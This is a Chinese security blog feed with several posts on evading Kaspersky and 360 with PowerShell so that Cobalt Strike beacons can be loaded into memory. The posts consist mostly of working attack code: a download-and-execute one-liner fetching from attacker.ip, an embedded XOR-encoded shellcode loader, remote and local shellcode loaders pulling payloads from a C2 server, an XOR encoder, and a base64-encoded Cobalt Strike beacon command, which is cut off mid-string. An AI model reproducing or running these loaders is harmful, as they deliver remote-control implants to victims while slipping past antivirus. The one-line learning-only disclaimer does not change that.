powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://attacker.ip/payload.ps1')
</code></pre>
<p><img src="/wp-content/uploads/2020/03/t9sgSQFPNcuHMKm.png" alt="" /></p>
<p>同样的不仅命令需要绕过杀软拦截，远程待读取的文件也需要过静态查杀（修改一下特征就好了）。</p>
<h4>目标不出网</h4>
<p>经过测试判断出了卡巴斯基的拦截特征，因此直接将字节数组写死在命令中及可绕过，具体过程不分析了，看代码吧。</p>
<pre><code class="language-powershell ">powershell $string={Set-StrictMode -Version 2;function func_get_proc_address {Param ($var_module, $var_procedure);$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() ^| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods');$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'));return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))};function func_get_delegate_type {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,[Parameter(Position = 1)] [Type] $var_return_type = [Void]);$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed');$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed');return $var_type_builder.CreateType()};If ([IntPtr]::size -eq 8) {[Byte[]]$var_code = 230,82,153,254,234,242,210,26,26,26,91,75,91,74,72,75,76,82,43,200,127,82,145,72,122,82,145,72,2,82,145,72,58,82,145,104,74,82,21,173,80,80,87,43,211,82,43,218,182,38,123,102,24,54,58,91,219,211,23,91,27,219,248,247,72,91,75,82,145,72,58,145,88,38,82,27,202,124,155,98,2,17,24,111,104,145,154,146,26,26,26,82,159,218,110,125,82,27,202,74,145,82,2,94,145,90,58,83,27,202,249,76,82,229,211,91,145,46,146,82,27,204,87,43,211,82,43,218,182,91,219,211,23,91,27,219,34,250,111,235,86,25,86,62,18,95,35,203,111,194,66,94,145,90,62,83,27,202,124,91,145,22,82,94,145,90,6,83,27,202,91,145,30,146,82,27,202,91,66,91,66,68,67,64,91,66,91,67,91,64,82,153,246,58,91,72,229,250,66,91,67,64,82,145,8,243,85,229,229,229,71,112,26,83,164,109,115,116,115,116,127,110,26,91,76,83,147,252,86,147,235,91,160,86,109,60,29,229,207,82,43,211,82,43,200,87,43,218,87,43,211,91,74,91,74,91,160,32,76,99,189,229,207,241,105,64,82,147,219,91,162,21,61,26,26,87,43,211,91,75,91,75,112,25,91,75,91,160,77,147,133,220,229,207,241,67,65,82,147,219,82,43,200,83,147,194,87,43,211,72,114,26,24,90,158,72,72,91,160,241,79,52,33,229,207,82,147,220,82,153,217,74,112,16,69,82,147,235,82,147,192,83,221,218,229,229,229,229,87,43,211,72,72,91,160,55,28,2,97,229,207,159,218,21,159,135,27,26,26,82,229,213,21,158,150,27,26,26,241,201,243,254,27,26,26,242,184,229,229,229,53,47,77,98,67,26,218,42,11,236,149,201,251,204,220,64,129,163,25,180,84,43,66,101,79,111,242,85,216,18,90,199,48,212,5,88,53,247,178,185,227,158,220,215,153,62,176,117,55,14,251,20,228,201,120,104,7,232,65,30,45,98,54,249,9,121,198,53,189,153,110,202,220,254,251,82,19,125,46,26,79,105,127,104,55,91,125,127,116,110,32,58,87,117,96,115,118,118,123,53,47,52,42,58,50,121,117,119,106,123,110,115,120,118,127,33,58,87,73,83,95,58,35,52,42,33,58,77,115,116,126,117,109,105,58,84,78,58,44,52,42,33,58,78,104,115,126,127,116,110,53,47,52,42,51,23,16,26,41,167,140,23,122,110,225,235,126,193,86,236,74,58,43,108,214,247,158,133,246,52,202,48,251,53,214,156,196,185,191,22,148,155,185,114,202,123,188,143,155,70,17,95,32,118,240,201,135,186,168,203,211,168,41,69,74,25,168,42,215,44,90,124,209,175,24,221,195,250,174,192,127,197,110,70,7,135,214,191,63,3,232,186,97,196,22,195,92,130,21,158,254,7,91,210,67,95,221,177,210,209,192,186,70,44,138,175,245,127,176,78,190,184,136,92,82,205,108,115,184,254,34,33,192,72,168,178,31,213,211,209,89,162,197,155,29,242,139,154,160,15,11,184,160,178,33,103,137,155,90,88,125,54,225,217,12,2,81,219,130,45,27,231,147,200,252,43,196,20,238,149,101,102,211,107,74,11,226,38,0,240,150,54,15,151,134,178,96,242,144,215,60,20,173,135,45,37,155,85,96,67,99,18,129,223,164,55,75,1,140,139,88,103,253,42,127,245,208,251,109,226,124,27,222,26,91,164,234,175,184,76,229,207,82,43,211,160,26,26,90,26,91,162,26,10,26,26,91,163,90,26,26,26,91,160,66,190,73,255,229,207,82,137,73,73,82,147,253,82,147,235,82,147,192,91,162,26,58,26,26,83,147,227,91,160,8,140,147,248,229,207,82,153,222,58,159,218,110,172,124,145,29,82,27,217,159,218,111,205,66,66,66,82,31,26,26,26,26,74,217,242,133,231,229,229,43,35,40,52,43,44,34,52,43,47,41,52,43,43,42,26,26,26,26,18;for ($x = 0; $x -lt $var_code.Count; $x++) {$var_code[$x] = $var_code[$x] -bxor 26;};$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])));$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length);$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])));$var_runme.Invoke([IntPtr]::Zero)}}.ToString();iex $string
</code></pre>
<p><img src="/wp-content/uploads/2020/03/ZaCzD43TkPVrgeJ.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/YZstEnNAMcuqogT.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/9crU6fbn3u8s2yX.png" alt="" /></p>
<p>利用下面的代码从bin文件中读取字节数组，并替换文中的字节数组即可。</p>
<pre><code class="language-powershell "># readbytes.ps1

[Byte[]]$bytes = [System.IO.File]::ReadAllBytes($args[0])
$s = ""

for ($x = 0; $x -lt $bytes.Count; $x++) {
        $s += $bytes[$x]
        $s += ","
}

$s
</code></pre>
<p><img src="/wp-content/uploads/2020/03/rFIcXmv65a3kltK.png" alt="" /></p>
<p>要注意的是去掉最后一个逗号”,“。</p>
<hr />
<h3>结束语</h3>
<p>利用powershell无文件落地上线的方式还有很多，就不全都举例了，仅记录一些思路。由于我觉得卡巴斯基更严格一些，且工作中经常遇到，所以全文都是以卡巴斯基为例，但是不出意外的话过国内的应该没问题。总结下来也没什么过于亮眼之处，后面会写一个自动化的工具，暂时不贴出来了，等完善了再说。对这几天学习的一个总结，并分享一些思路，随着接下来的学习更加深入，再分享一些更深层次的技术笔记吧。</p>
<p>另外，如果文中出现了哪些技术性的问题，请一定联系我修改，我不想误人子弟。</p>
<p>最后，听说物理机上的360和虚拟机的不太一样？</p>
<p><img src="/wp-content/uploads/2020/03/m7WtUXLJqHlSDYg.png" alt="" /></p>
]]></content:encoded>
					
					<wfw:commentRss>/web/1324.html/feed</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>Powershell免杀（远程加载shellcode）</title>
		<link>/web/1317.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Sun, 01 Mar 2020 11:14:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1317</guid>

					<description><![CDATA[远程加载 远程加载的思路很简单，只需要将bin文件放到cs服务器上，利用远程读取shellcode的方式将恶意代码加载到内存执行即可。 但是经过简单的测试我发现卡巴斯基对downl...]]></description>
										<content:encoded><![CDATA[<h3>远程加载</h3>
<p>远程加载的思路很简单，只需要将bin文件放到cs服务器上，利用远程读取shellcode的方式将恶意代码加载到内存执行即可。</p>
<p>但是经过简单的测试我发现卡巴斯基对downloadstring方法检测的比较严格，因此考虑换一种方法。</p>
<p><strong>声明：</strong> 文章内容仅供网络安全爱好者学习使用，请勿用文章中提到的技术或工具做违法的事情，否则后果自负。</p>
<p>通过翻阅.net的官方文档我找到了这个方法：system.net.webclient.downloaddata。</p>
<p><img src="/wp-content/uploads/2020/03/ilU1p5ymEXBbMc4.png" alt="" /></p>
<p>与常用的downloadstring类似，只不过该方法是直接从uri读取字节数组。这正好解决了我们的麻烦，并且使得事情变得更简单了。</p>
<pre><code class="language-powershell "># remoteshell.ps1

Set-StrictMode -Version 2

function get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}


function get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}



If ([IntPtr]::size -eq 8) {


    $client = New-Object Net.WebClient

    [Byte[]]$var_code = $client.
    DownloadData($args[0])

    for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 26
    }


    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualAlloc), (get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (get_delegate_type @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)
}
</code></pre>
<p><img src="/wp-content/uploads/2020/03/FEhLxmTfC1yRUND.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/lzgfMKY4W8Phycj.png" alt="" /></p>
<h3>使用方法</h3>
<h4>将bin文件放到c2上</h4>
<blockquote><p>
  这里的bin文件是指同样经过上篇文章中的xor后的bin文件，因为测试发现卡巴斯基会跟随请求一并访问你的c2去检测.bin文件是否存在安全隐患。
</p></blockquote>
<p><img src="/wp-content/uploads/2020/03/nFospPjCBawcZXD.png" alt="" /></p>
<h4>远程加载</h4>
<blockquote><p>
  useage: powershell .remoteshell.ps1 http://attack.ip/enc.bin
</p></blockquote>
<p><img src="/wp-content/uploads/2020/03/h8wTWI9YxZdaDvs.png" alt="" /></p>
<hr />
<h3>结束语</h3>
<p>简单的修改了cs原上线马的特征，因为cs的特征早就被加入规则库了，所以利用了最简单的方式去绕过杀软的静态查杀。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Powershell免杀（shellcode加载器）</title>
		<link>/web/1312.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Sun, 01 Mar 2020 11:12:48 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1312</guid>

					<description><![CDATA[加载器（loader） loader就是分离免杀的一种，从远程文件或本地其他文件读取shellcode，并加载到内存执行。 网络上很多语言的加载器都有，但是powershell的感...]]></description>
										<content:encoded><![CDATA[<h3>加载器（loader）</h3>
<blockquote><p>
  loader就是分离免杀的一种，从远程文件或本地其他文件读取shellcode，并加载到内存执行。
</p></blockquote>
<p>网络上很多语言的加载器都有，但是powershell的感觉不太常见，powershell版的loader也是在学习过程中的一个产物，只是一种思路，因为powershell完全可以实现无文件落地。两种形式：</p>
<ul>
<li>loader + shellcode</li>
<li>loader + bin文件</li>
</ul>
<p>本文采用的是loader + bin文件的形式。</p>
<p><strong>声明：</strong> 文章内容仅供网络安全爱好者学习使用，请勿用文章中提到的技术或工具做违法的事情，否则后果自负。</p>
<hr />
<h3>实现过程</h3>
<p>很常见的思路，利用亦或xor混淆生成新的bin文件，再用加载器读取bin中的字节数组并在内存执行（直接用cs原生的payload）。</p>
<pre><code class="language-powershell ">Set-StrictMode -Version 2



function get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $parameters,
        [Parameter(Position = 1)] [Type] $return_type = [Void]
    )

    $type_builder = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type_builder.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parameters).SetImplementationFlags('Runtime, Managed')
    $type_builder.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $return_type, $parameters).SetImplementationFlags('Runtime, Managed')

    return $type_builder.
    CreateType()
}


function get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.
    GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.
    Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}



If ([IntPtr]::size -eq 8) {


    [Byte[]]$code = [System.IO.File]::
    ReadAllBytes($args[0])

    for ($x = 0; $x -lt $code.Count; $x++) {
        $code[$x] = 26 -bxor $code[$x]
    }


    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualAlloc), (get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $code.Length, 0x3000, 0x40)

    [System.Runtime.InteropServices.Marshal]::Copy($code, 0, $var_buffer, $code.length)

    $runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (get_delegate_type @([IntPtr]) ([Void])))
    $runme.Invoke([IntPtr]::Zero)
}
</code></pre>
<p>通过测试发现，kaspersky（卡巴斯基）拦截 FromBase64String()这个方法，导致不能将字节数组编码后传入。因此想到修改获取字节数组的方法，才导致了这个loader的产生。</p>
<p>过静态查杀的思路： 修改原payload中的函数名、变量名以及函数定义的顺序（可过VT上一些国外的查杀）。替换frombase64string方法，可绕过卡巴斯基查杀。</p>
<p><img src="/wp-content/uploads/2020/03/dWr8MTEY3fNpnUF.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/vNK6U48mX9sV3D2.png" alt="" /></p>
<hr />
<h3>使用方法</h3>
<h4>生成新的bin文件</h4>
<pre><code class=""># xor.ps1
# usage:   .xor.sp1 .payload.bin .enc.bin

[Byte[]]$bytes = [System.IO.File]::ReadAllBytes($args[0])

for ($x = 0; $x -lt $bytes.Count; $x++) {
        $bytes[$x] = $bytes[$x] -bxor 26
}

$infile = [System.IO.File]::WriteAllBytes($args[1],$bytes)
</code></pre>
<h4>powershell加载shellcode</h4>
<blockquote><p>
  powershell meterpreter.ps1 .enc.bin
</p></blockquote>
<p><img src="/wp-content/uploads/2020/03/2O5jyYCxZlNrPcX.png" alt="" /></p>
<hr />
<h3>结束语</h3>
<p>内容基础且简单，不涉及底层的知识（因为暂时我还没那个能力，后面随着学习会继续补充）。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>powershell免杀（cs powershell command解析）</title>
		<link>/web/1307.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Sun, 01 Mar 2020 11:11:28 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1307</guid>

					<description><![CDATA[前言 花了几天研究了一下powershell的免杀，网上很少有动手分析并免杀的文章，大部分都是搬运工+利用一些工具免杀，所以决定记录一下学习和分析的过程并分享出来，一方面加深理解一...]]></description>
										<content:encoded><![CDATA[<h3>前言</h3>
<blockquote><p>
  花了几天研究了一下powershell的免杀，网上很少有动手分析并免杀的文章，大部分都是搬运工+利用一些工具免杀，所以决定记录一下学习和分析的过程并分享出来，一方面加深理解一方面提供给同样有需要的人。
</p></blockquote>
<pre><code class="language-tex "># 系统环境信息
cs3.14 （3.14与3.13中的payload不同）
kali2019
win10

# 杀软信息
卡巴斯基（最新）
360（最新）
virustotal（在线静态查杀）

# 语言
powershell
</code></pre>
<p>文章涉及的技术并不深，只是本人在学习powerhshell免杀过程中的记录，文章的内容将涉及到powershell版的loader、远程加载shellcode、利用powershell无文件落地上线cs以及最终自动化ps客户端。不会再复述powershell的基础知识，过程中需要理解的部分，我会尽可能言简意赅。</p>
<p><strong>声明：</strong> 文章内容仅供网络安全爱好者学习使用，请勿用文章中提到的技术或工具做违法的事情，否则后果自负。</p>
<hr />
<h4>理解cs powershell command</h4>
<p>直接利用cs生成powershell command上线命令。</p>
<p><img src="/wp-content/uploads/2020/03/24kuNYyQnijfRG7.png" alt="" /></p>
<p>内容如下：</p>
<pre><code class="language-powershell ">powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwBhADIALwBpAE8AaAByACsAMwBQADYASwBmAEIAZwBKAEUASgBTAEcAYwBEACsAcgBrAFEANgBRAEIARQBJAGcAUQBNAEsAOQBwADYAcABNAFkAcwBBAGgAVgB5AGMATwBDAFcAZgBuAHYANgA4AFQAbwBOAFAAWgA2AGUAeQBPAHQARgB1AHAAdwBvADcAZgB5ACsAUABuAHYAZgBqAFYAWQBQAGkAawBoAFIAagBwADQAZABnADEASQBQAE8AMABoAEQAaABBAHIAcwBOAHcAagA0ADkANwA0AHUAaABoAHUAawA0AFgAYgB3AGMAWQB2AG4AbgBZADEAZAArAEEAWQBXAEEAWQBCAE0AegBmAGoAdwA5AFQAZwBJAEgATgA1AEwAOQBFAEEATAAvAFoAcgBrAEUAcwBXAEcASwB5AFQAUwBvAEkARABZAEoAaAA0AGUASABoADgAUwBIADcAUgBKAHcAQQA3AE8ARwBiAEEAMABJAFUAdwBUAGMAYgBoAGsAZgBYAEMASgBpAHYAVABQADYAbAA0ADMAbQA4AGEAdwBQAGsAdgBQADcAeABSADQAOQBnAEQASgAzAHcAdQBpAC8AMwBZAGQAZwBKAEEAbQBqAHYATABBAFMARABmAEkASAA1AEoANwBNADYAUQBnAHkAZgBKAGoAcwBUADYAaQBIAHoATgAvAFAAbAByAGQAeQAzADMAQgAyAHcAYgBtAEoASgBEACsAaABIAGUAbwB1AE8AWQA2AFIAbgBJADEAYwBIADYAUQAzAEsAbQBtAGUAaABNAEoALwA3ADYANgA5AGMANABlAFcAcAA4AGwAbwBXAGYAQQBLAHMASQBKAC8AVABrAGkAQwBFAGQAdABtAHcAcgBGAHkAQgArAFYAWgBJAEgAYwA0AFQARAArAFoAegBZADYAUgBqAE4AMwBEADMAWQBYAG0ARgBuAEMAcABYAFgAbQBUAG8AbABRAHoAOAArAEkAbwA5AFYANwBqAGQANwBPAEEAQgBlAG8AOQBmAFgAegBLADEAZQB0AFgASgA1ACsAaAB5AFMAcgBuAHAAWABEAG4ATQBsAFoAaQBYADEATgAvAEwANgB5AHYAegA1AHoAcwBhAGwAVABnAGgAcwBtAEYAWgBjAGsASwBJAFgAVQArAEQATwBFAEkANgBEAE0AbwBEADQAQgBnAFcAVgBPAEcAZQBxAHUAVQBDAEcAagBQAG4AawBDAHQAUQBFAEIAaQBHAEIARAB2AE0ASABRAHYAVgBpADkAdwBUAHoASAA5AHgAaQBHAFcAVgBxAE4AMgBYADMANwBYADcAbQBsAGYAZwArAFUANwB1ADcAeQByAGwAUAB5AHAAUgBxAFcAbQBJAEMANgBWAGIAVAB2AHcATwBIAGUATQBzAGIANgA3AG0ANgBIAFYAKwBRAHYAOABoAHUAUQByADAANwA2AGMARQBLAHoAeAArACsAeQB4AFYARABXAGoAQgBBAHcAagBoAFcAMABqADUALwBaAEMAcgBqAHcAOABQAEwAOQBrAFMAMAB2AHYAawBwADIANgBBAE0AcgAyAHYARABGAHQAaQB4AGgAUQBFAEMARgAyAGMAcABPAEcAYwBZAHcASQBMAHIAOQAvAGoAYwAzAFYANwAxAHcAeABLAHYAegBSAFUAdQBXAHYAZABkAEsANwBoAHUAZQBMADQAeQByAHcAcwBYAFcAUwA4AFAAagA0AFUASABtAC8AWgBrADMANQAvADIAeABGAGsARwBSAEMAbgA1ADcAKwB1AEIAaAA3AHUAawBRAFAANQB4AEEARQAyADAAdQA4AEoAbgAvADgAcwBaAG4AQgB2AHcAWQB5AFAAOABsADEATQBvAFQAagB6AHUAZABzAEIATgBQAGcAYgBPADcAbQBVADAASgBlAGYAMQBRAFEAYgBoAGUAKwA2ADMAUwB1ADQAagBrADcAagBIAGwAQgBVAE4AQwBVAEsAUAA0AEsANQB4AGoAQwBmAGsANQB3AHgAdABDAGwALwAxAHoAMQBOADAAeQA5ADcAVwBtAGIAdwBMAG4AMAByAHIAZQBUAHUAUABkADIAbgB1AGQAeQB6AFEAQgBDAFUAbQBDAG0AaABkAGEANgBYAEcAQQAwAEMAQwB4AG8AbABwAHUATQBFADYASABiAFUASQBhAEcAYgBMAFgAUABmADQAWQA2AEoARgBTAEkAZABCAE8ASABkADMARwB2AGgARQAwAHAAdgByAG4AdQB1AFEAeQB1AEcANgBEAFMANgBsAEkAYQA1ADUAawBFAGQAQQBTAHQAbABwAGMAUQBNAGsAQQBHADcAaQBZAFkATwBkAHcAaQA1AFQAegBuAHAAQQBjAHUAaQBKAFUAYwB0AFIAVABRAG0AOQBFAHYASwBoAFIAYQBtAE8AWQBPAE4AMAByAC8AbgBSADYARwBzAHcAVgBDAHkAUABRAHYAYQBWAEQAcgByAFEAcQBJAEYARAByAFQAbgAzAEMAbwBxAFMAegBkAHcAZwBFAGIAdQBQADgAQwArADEAOABtADEASwBGAEsAdQA3AGkAUgA5AEEARQAwAFQAUQBMAFAAYwBzAE0AUQBzAEUAUQA1AHAAWAA4AHUAVgBmAGsAcQA4AC8AdwAzAGUAagB5ADMAbQBCADUAZwA5AEQARwArAEIAegBHAGUARgBLAE8AMQBwAFEANwA5ADIAQQBjAHAATwBnAEMANgAwAEcAVQBPAGYAYQBSAFgAUwBFAG4AegBwAEoAbQBGAGEAUwA1AGsAWgBQAFgAMQB1AHYAcgA0AFQAbgBkAEcASwBRADYAbwBrAFkAdABmAHUAZwBnAEEAMgBhAGwAcgBXADQALwBLADUASwBrAGMATwBjAFgAcwA2AGEAaQBSAGoAVQArAEsARwB5AGMAWgBSAFkAdAAxAFoAWQBpAEUAUwArADYAQgB4AGoARwBjAGMAYwBmAFYANQBpAFAAMgBCAHcATgBPADkAcQBuAE4AQgBZAFAAVQB0AGIAMwBjAGMAKwBTAEEAZQBtAFcAYgBjADcAcQAwAFQAWQBkAHIAaABSAHEAaQBCADYAawBnAGkAbwArADcARgBFAFoARgB1AFUANwAzAFoAeABOADIAbwBiAFMAeABGAGkAdQBoAGEAUQBWAFAAdQBpAGEAcwBGAFEASwBhAGYAKwBTAEoAMgByAFcASQBJAEkAQgBsAGQAOQBNAFkAUgBUAHoAagBvAGIAcwA2AEsATAAwAFgAVABqAHIARwBLADkASQBZAHQAdQAyAEkAagBwAEwAcABMAEkAaABBAFAAQwAyAFEAeQAzAFoAQwBSAFAANwBJAGwAVgBEAHQARwAvAEQASQBjAFIAbABLAC8ATgBaAEMANQBEAFcAaABaAHUAeQBiAE0AOQBBADAALwA5AGIAWAB4AEQAeABGAEkAOQA1AGQAMgB1AGsAZAArAEQAKwBMAFUAegA0AGEAeQBEADYAdQBWAEIAbAB3AE4AbQB4AHYASABRADMAQgBGAEQAcABlAHoAZwBuAFQAagB3AGsATgB1AFMATAA4AFQAZAA2AHgANwBRAFYAVwA1ADYAUAB2AFQAeQBRAFIAZQBaAGEARwBkAEsAdgBKADgAcwBWADEAVABiAGkAcgBBAHgAKwBLAHUAZwBiAFcATgBaADAAWABMAHoAdQBKAFUAbgBXADUAeABoAGkAMABTAEsAVQBZAGwAeABZAGwAMABiAG4AagBaAGUASwBlAHQAcwBmAFMARgA2AG4AUQBuAEwAUQBZAFcAOQBzAGsAUQAyAFkAMQBOAFgAVQBwAHUATQB2AFkAdwAwAGIAUQB1AC8AWgBXADMAaAB1AHkAMwA2AHMAYQBGAFMAdwBaAGUARABUAFEAdwBvAHAAegBHADEARQA4AHoANQBWAGQAZgBCAEsAYQAwAG0AagBqADYAVwBrAFMAMgBmAHUAUgA0ADEAZABUAGIATgB2AEgAcgBGAEgAZAB0AG8AQQB6AGwAZABZAHoAOQBjAEkAagA5AHkAUABMAHIAawA2AG0AZQA0AHMANwAwAFUAdgBsAFoAegBaAHAAVQBxAEwAeQAvAE0AMABjAHkASwBFAHAAbwBiAEkATAAyAEoAUgBqAEoATQBFAHIAWAB5AFoAUwBYADQAMABRAHkAcABSAGIAcABwAG4AcQA4ADIARgBsAHQAbABoADIAegBNAFMASABWAFUAMQB5AGQAUABEAGYAMwBnAFcAZwBxAFoATABPAFYASgBmAEcARQB1AGIAWABmAFkAZQAzAEwAcwBIAFUATwBsADYAMABpAFgATQBmAFIAMwBFAGUASwAyAC8AWgBiAHIAZABtADYAbQBGAFIANQBwAHcAdQBGADYAWgBiAG4ATwBMAEQAdgBDADcAeQBsAHEANQBkADkAcwBMAEgAdABqAHQANQB1AHkALwBIAGwAZQBkAHQAawBkAFEAbQBUAHgAbQB5AHAASwBkAHgAQwAyAEsAcQA4AFAAUgBUAFUAVQAyAFgAZABuAHkAbABrAEwAbAByAHkAbgBHADMAMwArAE8ANQBHAEUAYwA3AGoAMABVAHkASQBKAHcAdAAyAHUATgBaAE8ANABsAFEAOQBIAHYAaQBkADAALwBXADMAaAA3AEUAbQBuAE4AbAA1AHYANgBPAHcATgBDAGEARAB1AGEAagBPAE8AbAB5AGwAMgBvAGsAWABpAHEAQQBlAGUASwBNAGkAeQBpAHEANwBWAFoAYgBuADgANQBKAFgAeAAvAEkASQBuAFUAeABwADUAcAA4AFAAegBjAFcANgB2AGsASwBOAFMAUABTAHEAZgBsAFcAYQBTAEMAZABEAGkARwBlAG8ATwBrAC8ASQA0AEYAagBuAGQAcwB0AEsAcABkAFYAcgBGAEUAKwBEAHgASgA3ADIAWgBLAHYAQgB0AFYAaQBXAE4AeQB6AEMANwA3ADMAeABNAFcARwBSAGEANAB3AFAAbwAyAEoAVQBXADgAYgA4AHgARgA4ADgAQwAxAHYAYwAyADcAUwAwAFgAWgBlAG4AbgBUAEgAeABjAEcAdAAxAFoAdQB2AHMAVgBKADEAdwBSAFUAZQBpAFQATwA2AFAANgBwAGwATgBMAEwAeABlAEIANQBJAHYAMQAxAHQANABZAHkAYQBjADMAdgBDADYAdgBTAG4AaABhAFMAcwB4AGQAMQBQAGIAMwBpAGIAaQBrAEIATQA5AGQAUwBYAFYAbABOAEcAUQBrAGsAWABrAHMAZQBBAFAATwBPAEoAMwA3AGUATgA2AFoAQgA3AHEAdABjAHAAUgBPAFoAcgBMAFYAaAB6AFUATwAxAFAAdQB1AFEALwBYAEUAVgBHADUARwBuADkARwB4AGYAVQB4AHgARABPAGgATwA1AG4AcgB6AC8AMQBMAHYAOABNADIANwBHAE8AYgBkAG8AUQBEAFoANQArADcAYwBMADEAbwBxAGYAdwBwADUASQBKADYAUgBmAEEAaABSAHM